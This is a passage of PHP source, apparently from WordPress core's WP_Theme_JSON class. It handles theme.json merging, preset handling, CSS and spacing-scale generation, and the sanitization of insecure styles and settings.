			// Right and left padding are applied to the first container with `.has-global-padding` class.
			$css .= '.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }';
			// Nested containers with `.has-global-padding` class do not get padding.
			$css .= '.has-global-padding :where(.has-global-padding:not(.wp-block-block)) { padding-right: 0; padding-left: 0; }';
			// Alignfull children of the container with left and right padding have negative margins so they can still be full width.
			$css .= '.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }';
			// The above rule is negated for alignfull children of nested containers.
			$css .= '.has-global-padding :where(.has-global-padding:not(.wp-block-block)) > .alignfull { margin-right: 0; margin-left: 0; }';
			// Some of the children of alignfull blocks without content width should also get padding: text blocks and non-alignfull container blocks.
			$css .= '.has-global-padding > .alignfull:where(:not(.has-global-padding):not(.is-layout-flex):not(.is-layout-grid)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }';
			// The above rule also has to be negated for blocks inside nested `.has-global-padding` blocks.
			$css .= '.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0; }';
		}

		$css .= '.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }';
		$css .= '.wp-site-blocks > .alignright { float: right; margin-left: 2em; }';
		$css .= '.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }';

		$block_gap_value       = isset( $this->theme_json['styles']['spacing']['blockGap'] ) ? $this->theme_json['styles']['spacing']['blockGap'] : '0.5em';
		$has_block_gap_support = isset( $this->theme_json['settings']['spacing']['blockGap'] );
		if ( $has_block_gap_support ) {
			$block_gap_value = static::get_property_value( $this->theme_json, array( 'styles', 'spacing', 'blockGap' ) );
			$css            .= ":where(.wp-site-blocks) > * { margin-block-start: $block_gap_value; margin-block-end: 0; }";
			$css            .= ':where(.wp-site-blocks) > :first-child:first-child { margin-block-start: 0; }';
			$css            .= ':where(.wp-site-blocks) > :last-child:last-child { margin-block-end: 0; }';

			// For backwards compatibility, ensure the legacy block gap CSS variable is still available.
			$css .= "$selector { --wp--style--block-gap: $block_gap_value; }";
		}
		$css .= $this->get_layout_styles( $block_metadata );

		return $css;
	}

	/**
	 * For metadata values that can either be booleans or paths to booleans, gets the value.
	 *
	 *     $data = array(
	 *       'color' => array(
	 *         'defaultPalette' => true
	 *       )
	 *     );
	 *
	 *     static::get_metadata_boolean( $data, false );
	 *     // => false
	 *
	 *     static::get_metadata_boolean( $data, array( 'color', 'defaultPalette' ) );
	 *     // => true
	 *
	 * @since 6.0.0
	 *
	 * @param array      $data          The data to inspect.
	 * @param bool|array $path          Boolean or path to a boolean.
	 * @param bool       $default_value Default value if the referenced path is missing.
	 *                                  Default false.
	 * @return bool Value of boolean metadata.
	 */
	protected static function get_metadata_boolean( $data, $path, $default_value = false ) {
		if ( is_bool( $path ) ) {
			return $path;
		}

		if ( is_array( $path ) ) {
			$value = _wp_array_get( $data, $path );
			if ( null !== $value ) {
				return $value;
			}
		}

		return $default_value;
	}

	/**
	 * Merges new incoming data.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Duotone preset also has origins.
	 *
	 * @param WP_Theme_JSON $incoming Data to merge.
	 */
	public function merge( $incoming ) {
		$incoming_data    = $incoming->get_raw_data();
		$this->theme_json = array_replace_recursive( $this->theme_json, $incoming_data );

		/*
		 * The array_replace_recursive algorithm merges at the leaf level,
		 * but we don't want leaf arrays to be merged, so we overwrite it.
		 *
		 * For leaf values that are sequential arrays it will use the numeric indexes for replacement.
		 * We rather replace the existing with the incoming value, if it exists.
		 * This is the case of spacing.units.
		 *
		 * For leaf values that are associative arrays it will merge them as expected.
		 * This is also not the behavior we want for the current associative arrays (presets).
		 * We rather replace the existing with the incoming value, if it exists.
		 * This happens, for example, when we merge data from theme.json upon existing
		 * theme supports or when we merge anything coming from the same source twice.
		 * This is the case of color.palette, color.gradients, color.duotone,
		 * typography.fontSizes, or typography.fontFamilies.
		 *
		 * Additionally, for some preset types, we also want to make sure the
		 * values they introduce don't conflict with default values. We do so
		 * by checking the incoming slugs for theme presets and compare them
		 * with the equivalent default presets: if a slug is present as a default
		 * we remove it from the theme presets.
		 */
		$nodes        = static::get_setting_nodes( $incoming_data );
		$slugs_global = static::get_default_slugs( $this->theme_json, array( 'settings' ) );
		foreach ( $nodes as $node ) {
			// Replace the spacing.units.
			$path   = $node['path'];
			$path[] = 'spacing';
			$path[] = 'units';

			$content = _wp_array_get( $incoming_data, $path, null );
			if ( isset( $content ) ) {
				_wp_array_set( $this->theme_json, $path, $content );
			}

			// Replace the presets.
			foreach ( static::PRESETS_METADATA as $preset ) {
				$override_preset = ! static::get_metadata_boolean( $this->theme_json['settings'], $preset['prevent_override'], true );

				foreach ( static::VALID_ORIGINS as $origin ) {
					$base_path = $node['path'];
					foreach ( $preset['path'] as $leaf ) {
						$base_path[] = $leaf;
					}

					$path   = $base_path;
					$path[] = $origin;

					$content = _wp_array_get( $incoming_data, $path, null );
					if ( ! isset( $content ) ) {
						continue;
					}

					if ( 'theme' === $origin && $preset['use_default_names'] ) {
						foreach ( $content as $key => $item ) {
							if ( ! isset( $item['name'] ) ) {
								$name = static::get_name_from_defaults( $item['slug'], $base_path );
								if ( null !== $name ) {
									$content[ $key ]['name'] = $name;
								}
							}
						}
					}

					if (
						( 'theme' !== $origin ) ||
						( 'theme' === $origin && $override_preset )
					) {
						_wp_array_set( $this->theme_json, $path, $content );
					} else {
						$slugs_node = static::get_default_slugs( $this->theme_json, $node['path'] );
						$slugs      = array_merge_recursive( $slugs_global, $slugs_node );

						$slugs_for_preset = _wp_array_get( $slugs, $preset['path'], array() );
						$content          = static::filter_slugs( $content, $slugs_for_preset );
						_wp_array_set( $this->theme_json, $path, $content );
					}
				}
			}
		}
	}

	/**
	 * Converts all filter (duotone) presets into SVGs.
	 *
	 * @since 5.9.1
	 *
	 * @param array $origins List of origins to process.
	 * @return string SVG filters.
	 */
	public function get_svg_filters( $origins ) {
		$blocks_metadata = static::get_blocks_metadata();
		$setting_nodes   = static::get_setting_nodes( $this->theme_json, $blocks_metadata );

		$filters = '';
		foreach ( $setting_nodes as $metadata ) {
			$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
			if ( empty( $node['color']['duotone'] ) ) {
				continue;
			}

			$duotone_presets = $node['color']['duotone'];

			foreach ( $origins as $origin ) {
				if ( ! isset( $duotone_presets[ $origin ] ) ) {
					continue;
				}
				foreach ( $duotone_presets[ $origin ] as $duotone_preset ) {
					$filters .= wp_get_duotone_filter_svg( $duotone_preset );
				}
			}
		}

		return $filters;
	}

	/**
	 * Determines whether a presets should be overridden or not.
	 *
	 * @since 5.9.0
	 * @deprecated 6.0.0 Use {@see 'get_metadata_boolean'} instead.
	 *
	 * @param array      $theme_json The theme.json like structure to inspect.
	 * @param array      $path       Path to inspect.
	 * @param bool|array $override   Data to compute whether to override the preset.
	 * @return bool
	 */
	protected static function should_override_preset( $theme_json, $path, $override ) {
		_deprecated_function( __METHOD__, '6.0.0', 'get_metadata_boolean' );

		if ( is_bool( $override ) ) {
			return $override;
		}

		/*
		 * The relationship between whether to override the defaults
		 * and whether the defaults are enabled is inverse:
		 *
		 * - If defaults are enabled  => theme presets should not be overridden
		 * - If defaults are disabled => theme presets should be overridden
		 *
		 * For example, a theme sets defaultPalette to false,
		 * making the default palette hidden from the user.
		 * In that case, we want all the theme presets to be present,
		 * so they should override the defaults.
		 */
		if ( is_array( $override ) ) {
			$value = _wp_array_get( $theme_json, array_merge( $path, $override ) );
			if ( isset( $value ) ) {
				return ! $value;
			}

			// Search the top-level key if none was found for this node.
			$value = _wp_array_get( $theme_json, array_merge( array( 'settings' ), $override ) );
			if ( isset( $value ) ) {
				return ! $value;
			}

			return true;
		}
	}

	/**
	 * Returns the default slugs for all the presets in an associative array
	 * whose keys are the preset paths and the leafs is the list of slugs.
	 *
	 * For example:
	 *
	 *     array(
	 *       'color' => array(
	 *         'palette'   => array( 'slug-1', 'slug-2' ),
	 *         'gradients' => array( 'slug-3', 'slug-4' ),
	 *       ),
	 *     )
	 *
	 * @since 5.9.0
	 *
	 * @param array $data      A theme.json like structure.
	 * @param array $node_path The path to inspect. It's 'settings' by default.
	 * @return array
	 */
	protected static function get_default_slugs( $data, $node_path ) {
		$slugs = array();

		foreach ( static::PRESETS_METADATA as $metadata ) {
			$path = $node_path;
			foreach ( $metadata['path'] as $leaf ) {
				$path[] = $leaf;
			}
			$path[] = 'default';

			$preset = _wp_array_get( $data, $path, null );
			if ( ! isset( $preset ) ) {
				continue;
			}

			$slugs_for_preset = array();
			foreach ( $preset as $item ) {
				if ( isset( $item['slug'] ) ) {
					$slugs_for_preset[] = $item['slug'];
				}
			}

			_wp_array_set( $slugs, $metadata['path'], $slugs_for_preset );
		}

		return $slugs;
	}

	/**
	 * Gets a `default`'s preset name by a provided slug.
	 *
	 * @since 5.9.0
	 *
	 * @param string $slug The slug we want to find a match from default presets.
	 * @param array  $base_path The path to inspect. It's 'settings' by default.
	 * @return string|null
	 */
	protected function get_name_from_defaults( $slug, $base_path ) {
		$path            = $base_path;
		$path[]          = 'default';
		$default_content = _wp_array_get( $this->theme_json, $path, null );
		if ( ! $default_content ) {
			return null;
		}
		foreach ( $default_content as $item ) {
			if ( $slug === $item['slug'] ) {
				return $item['name'];
			}
		}
		return null;
	}

	/**
	 * Removes the preset values whose slug is equal to any of given slugs.
	 *
	 * @since 5.9.0
	 *
	 * @param array $node  The node with the presets to validate.
	 * @param array $slugs The slugs that should not be overridden.
	 * @return array The new node.
	 */
	protected static function filter_slugs( $node, $slugs ) {
		if ( empty( $slugs ) ) {
			return $node;
		}

		$new_node = array();
		foreach ( $node as $value ) {
			if ( isset( $value['slug'] ) && ! in_array( $value['slug'], $slugs, true ) ) {
				$new_node[] = $value;
			}
		}

		return $new_node;
	}

	/**
	 * Removes insecure data from theme.json.
	 *
	 * @since 5.9.0
	 * @since 6.3.2 Preserves global styles block variations when securing styles.
	 *
	 * @param array $theme_json Structure to sanitize.
	 * @return array Sanitized structure.
	 */
	public static function remove_insecure_properties( $theme_json ) {
		$sanitized = array();

		$theme_json = WP_Theme_JSON_Schema::migrate( $theme_json );

		$valid_block_names   = array_keys( static::get_blocks_metadata() );
		$valid_element_names = array_keys( static::ELEMENTS );
		$valid_variations    = array();
		foreach ( self::get_blocks_metadata() as $block_name => $block_meta ) {
			if ( ! isset( $block_meta['styleVariations'] ) ) {
				continue;
			}
			$valid_variations[ $block_name ] = array_keys( $block_meta['styleVariations'] );
		}

		$theme_json = static::sanitize( $theme_json, $valid_block_names, $valid_element_names, $valid_variations );

		$blocks_metadata = static::get_blocks_metadata();
		$style_nodes     = static::get_style_nodes( $theme_json, $blocks_metadata );

		foreach ( $style_nodes as $metadata ) {
			$input = _wp_array_get( $theme_json, $metadata['path'], array() );
			if ( empty( $input ) ) {
				continue;
			}

			// The global styles custom CSS is not sanitized, but can only be edited by users with 'edit_css' capability.
			if ( isset( $input['css'] ) && current_user_can( 'edit_css' ) ) {
				$output = $input;
			} else {
				$output = static::remove_insecure_styles( $input );
			}

			/*
			 * Get a reference to element name from path.
			 * $metadata['path'] = array( 'styles', 'elements', 'link' );
			 */
			$current_element = $metadata['path'][ count( $metadata['path'] ) - 1 ];

			/*
			 * $output is stripped of pseudo selectors. Re-add and process them
			 * or insecure styles here.
			 */
			if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] ) ) {
				foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] as $pseudo_selector ) {
					if ( isset( $input[ $pseudo_selector ] ) ) {
						$output[ $pseudo_selector ] = static::remove_insecure_styles( $input[ $pseudo_selector ] );
					}
				}
			}

			if ( ! empty( $output ) ) {
				_wp_array_set( $sanitized, $metadata['path'], $output );
			}

			if ( isset( $metadata['variations'] ) ) {
				foreach ( $metadata['variations'] as $variation ) {
					$variation_input = _wp_array_get( $theme_json, $variation['path'], array() );
					if ( empty( $variation_input ) ) {
						continue;
					}

					$variation_output = static::remove_insecure_styles( $variation_input );
					if ( ! empty( $variation_output ) ) {
						_wp_array_set( $sanitized, $variation['path'], $variation_output );
					}
				}
			}
		}

		$setting_nodes = static::get_setting_nodes( $theme_json );
		foreach ( $setting_nodes as $metadata ) {
			$input = _wp_array_get( $theme_json, $metadata['path'], array() );
			if ( empty( $input ) ) {
				continue;
			}

			$output = static::remove_insecure_settings( $input );
			if ( ! empty( $output ) ) {
				_wp_array_set( $sanitized, $metadata['path'], $output );
			}
		}

		if ( empty( $sanitized['styles'] ) ) {
			unset( $theme_json['styles'] );
		} else {
			$theme_json['styles'] = $sanitized['styles'];
		}

		if ( empty( $sanitized['settings'] ) ) {
			unset( $theme_json['settings'] );
		} else {
			$theme_json['settings'] = $sanitized['settings'];
		}

		return $theme_json;
	}

	/**
	 * Processes a setting node and returns the same node
	 * without the insecure settings.
	 *
	 * @since 5.9.0
	 *
	 * @param array $input Node to process.
	 * @return array
	 */
	protected static function remove_insecure_settings( $input ) {
		$output = array();
		foreach ( static::PRESETS_METADATA as $preset_metadata ) {
			foreach ( static::VALID_ORIGINS as $origin ) {
				$path_with_origin   = $preset_metadata['path'];
				$path_with_origin[] = $origin;
				$presets            = _wp_array_get( $input, $path_with_origin, null );
				if ( null === $presets ) {
					continue;
				}

				$escaped_preset = array();
				foreach ( $presets as $preset ) {
					if (
						esc_attr( esc_html( $preset['name'] ) ) === $preset['name'] &&
						sanitize_html_class( $preset['slug'] ) === $preset['slug']
					) {
						$value = null;
						if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) {
							$value = $preset[ $preset_metadata['value_key'] ];
						} elseif (
							isset( $preset_metadata['value_func'] ) &&
							is_callable( $preset_metadata['value_func'] )
						) {
							$value = call_user_func( $preset_metadata['value_func'], $preset );
						}

						$preset_is_valid = true;
						foreach ( $preset_metadata['properties'] as $property ) {
							if ( ! static::is_safe_css_declaration( $property, $value ) ) {
								$preset_is_valid = false;
								break;
							}
						}

						if ( $preset_is_valid ) {
							$escaped_preset[] = $preset;
						}
					}
				}

				if ( ! empty( $escaped_preset ) ) {
					_wp_array_set( $output, $path_with_origin, $escaped_preset );
				}
			}
		}

		// Ensure indirect properties not included in any `PRESETS_METADATA` value are allowed.
		static::remove_indirect_properties( $input, $output );

		return $output;
	}

	/**
	 * Processes a style node and returns the same node
	 * without the insecure styles.
	 *
	 * @since 5.9.0
	 *
	 * @param array $input Node to process.
	 * @return array
	 */
	protected static function remove_insecure_styles( $input ) {
		$output       = array();
		$declarations = static::compute_style_properties( $input );

		foreach ( $declarations as $declaration ) {
			if ( static::is_safe_css_declaration( $declaration['name'], $declaration['value'] ) ) {
				$path = static::PROPERTIES_METADATA[ $declaration['name'] ];

				/*
				 * Check the value isn't an array before adding so as to not
				 * double up shorthand and longhand styles.
				 */
				$value = _wp_array_get( $input, $path, array() );
				if ( ! is_array( $value ) ) {
					_wp_array_set( $output, $path, $value );
				}
			}
		}

		// Ensure indirect properties not handled by `compute_style_properties` are allowed.
		static::remove_indirect_properties( $input, $output );

		return $output;
	}

	/**
	 * Checks that a declaration provided by the user is safe.
	 *
	 * @since 5.9.0
	 *
	 * @param string $property_name  Property name in a CSS declaration, i.e. the `color` in `color: red`.
	 * @param string $property_value Value in a CSS declaration, i.e. the `red` in `color: red`.
	 * @return bool
	 */
	protected static function is_safe_css_declaration( $property_name, $property_value ) {
		$style_to_validate = $property_name . ': ' . $property_value;
		$filtered          = esc_html( safecss_filter_attr( $style_to_validate ) );
		return ! empty( trim( $filtered ) );
	}

	/**
	 * Removes indirect properties from the given input node and
	 * sets in the given output node.
	 *
	 * @since 6.2.0
	 *
	 * @param array $input  Node to process.
	 * @param array $output The processed node. Passed by reference.
	 */
	private static function remove_indirect_properties( $input, &$output ) {
		foreach ( static::INDIRECT_PROPERTIES_METADATA as $property => $paths ) {
			foreach ( $paths as $path ) {
				$value = _wp_array_get( $input, $path );
				if (
					is_string( $value ) &&
					static::is_safe_css_declaration( $property, $value )
				) {
					_wp_array_set( $output, $path, $value );
				}
			}
		}
	}

	/**
	 * Returns the raw data.
	 *
	 * @since 5.8.0
	 *
	 * @return array Raw data.
	 */
	public function get_raw_data() {
		return $this->theme_json;
	}

	/**
	 * Transforms the given editor settings according the
	 * add_theme_support format to the theme.json format.
	 *
	 * @since 5.8.0
	 *
	 * @param array $settings Existing editor settings.
	 * @return array Config that adheres to the theme.json schema.
	 */
	public static function get_from_editor_settings( $settings ) {
		$theme_settings = array(
			'version'  => static::LATEST_SCHEMA,
			'settings' => array(),
		);

		// Deprecated theme supports.
		if ( isset( $settings['disableCustomColors'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['custom'] = ! $settings['disableCustomColors'];
		}

		if ( isset( $settings['disableCustomGradients'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['customGradient'] = ! $settings['disableCustomGradients'];
		}

		if ( isset( $settings['disableCustomFontSizes'] ) ) {
			if ( ! isset( $theme_settings['settings']['typography'] ) ) {
				$theme_settings['settings']['typography'] = array();
			}
			$theme_settings['settings']['typography']['customFontSize'] = ! $settings['disableCustomFontSizes'];
		}

		if ( isset( $settings['enableCustomLineHeight'] ) ) {
			if ( ! isset( $theme_settings['settings']['typography'] ) ) {
				$theme_settings['settings']['typography'] = array();
			}
			$theme_settings['settings']['typography']['lineHeight'] = $settings['enableCustomLineHeight'];
		}

		if ( isset( $settings['enableCustomUnits'] ) ) {
			if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
				$theme_settings['settings']['spacing'] = array();
			}
			$theme_settings['settings']['spacing']['units'] = ( true === $settings['enableCustomUnits'] ) ?
				array( 'px', 'em', 'rem', 'vh', 'vw', '%' ) :
				$settings['enableCustomUnits'];
		}

		if ( isset( $settings['colors'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['palette'] = $settings['colors'];
		}

		if ( isset( $settings['gradients'] ) ) {
			if ( ! isset( $theme_settings['settings']['color'] ) ) {
				$theme_settings['settings']['color'] = array();
			}
			$theme_settings['settings']['color']['gradients'] = $settings['gradients'];
		}

		if ( isset( $settings['fontSizes'] ) ) {
			$font_sizes = $settings['fontSizes'];
			// Back-compatibility for presets without units.
			foreach ( $font_sizes as $key => $font_size ) {
				if ( is_numeric( $font_size['size'] ) ) {
					$font_sizes[ $key ]['size'] = $font_size['size'] . 'px';
				}
			}
			if ( ! isset( $theme_settings['settings']['typography'] ) ) {
				$theme_settings['settings']['typography'] = array();
			}
			$theme_settings['settings']['typography']['fontSizes'] = $font_sizes;
		}

		if ( isset( $settings['enableCustomSpacing'] ) ) {
			if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
				$theme_settings['settings']['spacing'] = array();
			}
			$theme_settings['settings']['spacing']['padding'] = $settings['enableCustomSpacing'];
		}

		return $theme_settings;
	}

	/**
	 * Returns the current theme's wanted patterns(slugs) to be
	 * registered from Pattern Directory.
	 *
	 * @since 6.0.0
	 *
	 * @return string[]
	 */
	public function get_patterns() {
		if ( isset( $this->theme_json['patterns'] ) && is_array( $this->theme_json['patterns'] ) ) {
			return $this->theme_json['patterns'];
		}
		return array();
	}

	/**
	 * Returns a valid theme.json as provided by a theme.
	 *
	 * Unlike get_raw_data() this returns the presets flattened, as provided by a theme.
	 * This also uses appearanceTools instead of their opt-ins if all of them are true.
	 *
	 * @since 6.0.0
	 *
	 * @return array
	 */
	public function get_data() {
		$output = $this->theme_json;
		$nodes  = static::get_setting_nodes( $output );

		/**
		 * Flatten the theme & custom origins into a single one.
		 *
		 * For example, the following:
		 *
		 * {
		 *   "settings": {
		 *     "color": {
		 *       "palette": {
		 *         "theme": [ {} ],
		 *         "custom": [ {} ]
		 *       }
		 *     }
		 *   }
		 * }
		 *
		 * will be converted to:
		 *
		 * {
		 *   "settings": {
		 *     "color": {
		 *       "palette": [ {} ]
		 *     }
		 *   }
		 * }
		 */
		foreach ( $nodes as $node ) {
			foreach ( static::PRESETS_METADATA as $preset_metadata ) {
				$path = $node['path'];
				foreach ( $preset_metadata['path'] as $preset_metadata_path ) {
					$path[] = $preset_metadata_path;
				}
				$preset = _wp_array_get( $output, $path, null );
				if ( null === $preset ) {
					continue;
				}

				$items = array();
				if ( isset( $preset['theme'] ) ) {
					foreach ( $preset['theme'] as $item ) {
						$slug = $item['slug'];
						unset( $item['slug'] );
						$items[ $slug ] = $item;
					}
				}
				if ( isset( $preset['custom'] ) ) {
					foreach ( $preset['custom'] as $item ) {
						$slug = $item['slug'];
						unset( $item['slug'] );
						$items[ $slug ] = $item;
					}
				}
				$flattened_preset = array();
				foreach ( $items as $slug => $value ) {
					$flattened_preset[] = array_merge( array( 'slug' => (string) $slug ), $value );
				}
				_wp_array_set( $output, $path, $flattened_preset );
			}
		}

		/*
		 * If all of the static::APPEARANCE_TOOLS_OPT_INS are true,
		 * this code unsets them and sets 'appearanceTools' instead.
		 */
		foreach ( $nodes as $node ) {
			$all_opt_ins_are_set = true;
			foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) {
				$full_path = $node['path'];
				foreach ( $opt_in_path as $opt_in_path_item ) {
					$full_path[] = $opt_in_path_item;
				}
				/*
				 * Use "unset prop" as a marker instead of "null" because
				 * "null" can be a valid value for some props (e.g. blockGap).
				 */
				$opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' );
				if ( 'unset prop' === $opt_in_value ) {
					$all_opt_ins_are_set = false;
					break;
				}
			}

			if ( $all_opt_ins_are_set ) {
				$node_path_with_appearance_tools   = $node['path'];
				$node_path_with_appearance_tools[] = 'appearanceTools';
				_wp_array_set( $output, $node_path_with_appearance_tools, true );
				foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) {
					$full_path = $node['path'];
					foreach ( $opt_in_path as $opt_in_path_item ) {
						$full_path[] = $opt_in_path_item;
					}
					/*
					 * Use "unset prop" as a marker instead of "null" because
					 * "null" can be a valid value for some props (e.g. blockGap).
					 */
					$opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' );
					if ( true !== $opt_in_value ) {
						continue;
					}

					/*
					 * The following could be improved to be path independent.
					 * At the moment it relies on a couple of assumptions:
					 *
					 * - all opt-ins having a path of size 2.
					 * - there's two sources of settings: the top-level and the block-level.
					 */
					if (
						( 1 === count( $node['path'] ) ) &&
						( 'settings' === $node['path'][0] )
					) {
						// Top-level settings.
						unset( $output['settings'][ $opt_in_path[0] ][ $opt_in_path[1] ] );
						if ( empty( $output['settings'][ $opt_in_path[0] ] ) ) {
							unset( $output['settings'][ $opt_in_path[0] ] );
						}
					} elseif (
						( 3 === count( $node['path'] ) ) &&
						( 'settings' === $node['path'][0] ) &&
						( 'blocks' === $node['path'][1] )
					) {
						// Block-level settings.
						$block_name = $node['path'][2];
						unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ][ $opt_in_path[1] ] );
						if ( empty( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] ) ) {
							unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] );
						}
					}
				}
			}
		}

		wp_recursive_ksort( $output );

		return $output;
	}

	/**
	 * Sets the spacingSizes array based on the spacingScale values from theme.json.
	 *
	 * @since 6.1.0
	 *
	 * @return null|void
	 */
	public function set_spacing_sizes() {
		$spacing_scale = isset( $this->theme_json['settings']['spacing']['spacingScale'] )
			? $this->theme_json['settings']['spacing']['spacingScale']
			: array();

		if ( ! isset( $spacing_scale['steps'] )
			|| ! is_numeric( $spacing_scale['steps'] )
			|| ! isset( $spacing_scale['mediumStep'] )
			|| ! isset( $spacing_scale['unit'] )
			|| ! isset( $spacing_scale['operator'] )
			|| ! isset( $spacing_scale['increment'] )
			|| ! isset( $spacing_scale['steps'] )
			|| ! is_numeric( $spacing_scale['increment'] )
			|| ! is_numeric( $spacing_scale['mediumStep'] )
			|| ( '+' !== $spacing_scale['operator'] && '*' !== $spacing_scale['operator'] ) ) {
			if ( ! empty( $spacing_scale ) ) {
				trigger_error(
					sprintf(
						/* translators: 1: theme.json, 2: settings.spacing.spacingScale */
						__( 'Some of the %1$s %2$s values are invalid' ),
						'theme.json',
						'settings.spacing.spacingScale'
					),
					E_USER_NOTICE
				);
			}
			return null;
		}

		// If theme authors want to prevent the generation of the core spacing scale they can set their theme.json spacingScale.steps to 0.
		if ( 0 === $spacing_scale['steps'] ) {
			return null;
		}

		$unit            = '%' === $spacing_scale['unit'] ? '%' : sanitize_title( $spacing_scale['unit'] );
		$current_step    = $spacing_scale['mediumStep'];
		$steps_mid_point = round( $spacing_scale['steps'] / 2, 0 );
		$x_small_count   = null;
		$below_sizes     = array();
		$slug            = 40;
		$remainder       = 0;

		for ( $below_midpoint_count = $steps_mid_point - 1; $spacing_scale['steps'] > 1 && $slug > 0 && $below_midpoint_count > 0; $below_midpoint_count-- ) {
			if ( '+' === $spacing_scale['operator'] ) {
				$current_step -= $spacing_scale['increment'];
			} elseif ( $spacing_scale['increment'] > 1 ) {
				$current_step /= $spacing_scale['increment'];
			} else {
				$current_step *= $spacing_scale['increment'];
			}

			if ( $current_step <= 0 ) {
				$remainder = $below_midpoint_count;
				break;
			}

			$below_sizes[] = array(
				/* translators: %s: Digit to indicate multiple of sizing, eg. 2X-Small. */
				'name' => $below_midpoint_count === $steps_mid_point - 1 ? __( 'Small' ) : sprintf( __( '%sX-Small' ), (string) $x_small_count ),
				'slug' => (string) $slug,
				'size' => round( $current_step, 2 ) . $unit,
			);

			if ( $below_midpoint_count === $steps_mid_point - 2 ) {
				$x_small_count = 2;
			}

			if ( $below_midpoint_count < $steps_mid_point - 2 ) {
				++$x_small_count;
			}

			$slug -= 10;
		}

		$below_sizes = array_reverse( $below_sizes );

		$below_sizes[] = array(
			'name' => __( 'Medium' ),
			'slug' => '50',
			'size' => $spacing_scale['mediumStep'] . $unit,
		);

		$current_step  = $spacing_scale['mediumStep'];
		$x_large_count = null;
		$above_sizes   = array();
		$slug          = 60;
		$steps_above   = ( $spacing_scale['steps'] - $steps_mid_point ) + $remainder;

		for ( $above_midpoint_count = 0; $above_midpoint_count < $steps_above; $above_midpoint_count++ ) {
			$current_step = '+' === $spacing_scale['operator']
				? $current_step + $spacing_scale['increment']
				: ( $spacing_scale['increment'] >= 1 ? $current_step * $spacing_scale['increment'] : $current_step / $spacing_scale['increment'] );

			$above_sizes[] = array(
				/* translators: %s: Digit to indicate multiple of sizing, eg. 2X-Large. */
				'name' => 0 === $above_midpoint_count ? __( 'Large' ) : sprintf( __( '%sX-Large' ), (string) $x_large_count ),
				'slug' => (string) $slug,
				'size' => round( $current_step, 2 ) . $unit,
			);

			if ( 1 === $above_midpoint_count ) {
				$x_large_count = 2;
			}

			if ( $above_midpoint_count > 1 ) {
				++$x_large_count;
			}

			$slug += 10;
		}

		$spacing_sizes = $below_sizes;
		foreach ( $above_sizes as $above_sizes_item ) {
			$spacing_sizes[] = $above_sizes_item;
		}

		// If there are 7 or fewer steps in the scale revert to numbers for labels instead of t-shirt sizes.
		if ( $spacing_scale['steps'] <= 7 ) {
			for ( $spacing_sizes_count = 0; $spacing_sizes_count < count( $spacing_sizes ); $spacing_sizes_count++ ) {
				$spacing_sizes[ $spacing_sizes_count ]['name'] = (string) ( $spacing_sizes_count + 1 );
			}
		}

		_wp_array_set( $this->theme_json, array( 'settings', 'spacing', 'spacingSizes', 'default' ), $spacing_sizes );
	}

	/**
	 * This is used to convert the internal representation of variables to the CSS representation.
	 * For example, `var:preset|color|vivid-green-cyan` becomes `var(--wp--preset--color--vivid-green-cyan)`.
	 *
	 * @since 6.3.0
	 * @param string $value The variable such as var:preset|color|vivid-green-cyan to convert.
	 * @return string The converted variable.
	 */
	private static function convert_custom_properties( $value ) {
		$prefix     = 'var:';
		$prefix_len = strlen( $prefix );
		$token_in   = '|';
		$token_out  = '--';
		if ( str_starts_with( $value, $prefix ) ) {
			$unwrapped_name = str_replace(
				$token_in,
				$token_out,
				substr( $value, $prefix_len )
			);
			$value          = "var(--wp--$unwrapped_name)";
		}

		return $value;
	}

	/**
	 * Given a tree, converts the internal representation of variables to the CSS representation.
	 * It is recursive and modifies the input in-place.
	 *
	 * @since 6.3.0
	 * @param array $tree   Input to process.
	 * @return array The modified $tree.
	 */
	private static function resolve_custom_css_format( $tree ) {
		$prefix = 'var:';

		foreach ( $tree as $key => $data ) {
			if ( is_string( $data ) && str_starts_with( $data, $prefix ) ) {
				$tree[ $key ] = self::convert_custom_properties( $data );
			} elseif ( is_array( $data ) ) {
				$tree[ $key ] = self::resolve_custom_css_format( $data );
			}
		}

		return $tree;
	}

	/**
	 * Returns the selectors metadata for a block.
	 *
	 * @since 6.3.0
	 *
	 * @param object $block_type    The block type.
	 * @param string $root_selector The block's root selector.
	 *
	 * @return array The custom selectors set by the block.
	 */
	protected static function get_block_selectors( $block_type, $root_selector ) {
		if ( ! empty( $block_type->selectors ) ) {
			return $block_type->selectors;
		}

		$selectors = array( 'root' => $root_selector );
		foreach ( static::BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS as $key => $feature ) {
			$feature_selector = wp_get_block_css_selector( $block_type, $key );
			if ( null !== $feature_selector ) {
